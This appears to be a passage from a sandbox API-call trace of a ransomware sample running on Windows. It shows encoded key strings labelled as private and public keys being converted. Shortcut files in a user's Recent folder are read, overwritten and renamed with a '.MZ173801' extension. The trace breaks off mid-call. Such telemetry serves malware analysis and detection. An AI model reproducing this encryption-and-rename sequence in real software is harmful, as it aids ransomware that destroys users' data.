lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.086] GetCurrentThreadId () returned 0xab4 [0147.086] GetCurrentThreadId () returned 0xab4 [0147.086] GetCurrentThreadId () returned 0xab4 [0147.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.087] GetCurrentThreadId () returned 0xab4 [0147.087] GetCurrentThreadId () returned 0xab4 [0147.087] GetCurrentThreadId () returned 0xab4 [0147.087] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9rQNK dYKtJL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9rqnk dyktjl.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.087] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.087] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.087] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x292 [0147.087] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.087] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x292, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x292, lpOverlapped=0x0) returned 1 [0147.088] CloseHandle (hObject=0x280) returned 1 [0147.088] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9rQNK dYKtJL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9rqnk dyktjl.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.089] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x292, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x292, lpOverlapped=0x0) returned 1 [0147.090] CloseHandle (hObject=0x280) returned 1 [0147.091] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9rQNK dYKtJL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9rqnk dyktjl.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9rQNK dYKtJL.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9rqnk dyktjl.lnk.mz173801")) returned 1 [0147.091] GetCurrentThreadId () returned 0xab4 [0147.091] GetCurrentThreadId () returned 0xab4 [0147.091] GetCurrentThreadId () returned 0xab4 [0147.091] GetCurrentThreadId () returned 0xab4 [0147.091] GetCurrentThreadId () returned 0xab4 [0147.091] GetCurrentThreadId () returned 0xab4 [0147.091] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4751a36, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x7078c9ac, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7078c9ac, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9y41-fr3PlkYnrNFG2e.lnk", cAlternateFileName="9Y41-F~1.LNK")) returned 1 [0147.091] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.091] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.091] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9y41-fr3PlkYnrNFG2e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9y41-fr3plkynrnfg2e.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4751a36, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x7078c9ac, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7078c9ac, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x38a)) returned 1 [0147.092] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9y41-fr3PlkYnrNFG2e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9y41-fr3plkynrnfg2e.lnk")) returned 0x20 [0147.092] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9y41-fr3PlkYnrNFG2e.lnk", dwFileAttributes=0x80) returned 1 [0147.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 